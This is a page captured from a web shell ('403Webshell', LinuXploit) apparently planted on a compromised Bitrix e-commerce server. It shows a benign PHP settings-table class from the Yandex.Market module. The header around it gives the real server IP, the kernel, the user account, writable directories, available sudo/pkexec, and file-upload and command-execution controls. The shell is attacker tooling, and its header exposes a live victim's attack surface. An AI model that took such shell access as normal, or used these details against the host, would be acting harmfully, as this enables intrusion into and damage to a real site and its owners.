403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/trading/settings/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/trading/settings/table.php
<?php
namespace Yandex\Market\Trading\Settings;

use Bitrix\Main;
use Yandex\Market\Migration;
use Yandex\Market\Reference\Storage;
use Yandex\Market\Trading;
use Yandex\Market\Utils;

class Table extends Storage\Table
{
	const ENTITY_TYPE_BUSINESS = 'business';
	const ENTITY_TYPE_SETUP = 'setup';

	const SERIALIZED_PREFIX =  '__SERIALIZED__:';

	public static function getTableName()
	{
		return 'yamarket_trading_settings';
	}

	public static function getMap()
	{
		return [
			new Main\Entity\EnumField('ENTITY_TYPE', [
				'required' => true,
				'primary' => true,
				'values' => [
					self::ENTITY_TYPE_BUSINESS,
					self::ENTITY_TYPE_SETUP,
				],
			]),
			new Main\Entity\IntegerField('ENTITY_ID', [
				'required' => true,
				'primary' => true,
			]),
			new Main\Entity\StringField('NAME', [
				'required' => true,
				'primary' => true,
			]),
			new Main\Entity\TextField('VALUE', [
				'required' => true,
				'save_data_modification' => function() {
					return [
						function($value) {
							if ($value === null || is_scalar($value)) { return $value; }

							return self::SERIALIZED_PREFIX . Utils\PhpSerializer::encode($value);
						},
					];
				},
				'fetch_data_modification' => function() {
					return [
						function ($value) {
							if (!is_string($value) || mb_strpos($value, self::SERIALIZED_PREFIX) !== 0) { return $value; }

							$serialized = mb_substr($value, mb_strlen(self::SERIALIZED_PREFIX));
							$unserialized = Utils\PhpSerializer::decode($serialized);

							if ($unserialized === false) { return null; }

							return $unserialized;
						},
					];
				},
			]),

			new Main\Entity\ReferenceField('SETUP', Trading\Setup\Table::class, [
				'=this.SETUP_ID' => 'ref.ID',
			]),
		];
	}

	public static function isValidData($data)
	{
		return (is_array($data) && array_key_exists('VALUE', $data) && !Utils\Value::isEmpty($data['VALUE']));
	}

	public static function migrate(Main\DB\Connection $connection)
	{
		$existFields = $connection->getTableFields(self::getTableName());

		parent::migrate($connection);
		self::migrateSetupId($connection, $existFields);
	}

	private static function migrateSetupId(Main\DB\Connection $connection, array $existFields)
	{
		if (!isset($existFields['SETUP_ID'])) { return; }

		Migration\StorageFacade::dropPrimary($connection, self::getEntity(), [ 'SETUP_ID', 'NAME' ]);

		if (!isset($existFields['ENTITY_TYPE'], $existFields['ENTITY_ID']))
		{
			$sqlHelper = $connection->getSqlHelper();

			$connection->queryExecute(sprintf(
				'UPDATE %s SET %s="%s", %s=%s',
				$sqlHelper->quote(self::getTableName()),
				$sqlHelper->quote('ENTITY_TYPE'),
				$sqlHelper->forSql(self::ENTITY_TYPE_SETUP),
				$sqlHelper->quote('ENTITY_ID'),
				$sqlHelper->quote('SETUP_ID')
			));
		}

		$connection->dropColumn(self::getTableName(), 'SETUP_ID');
		Migration\StorageFacade::createPrimary($connection, self::getEntity());
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit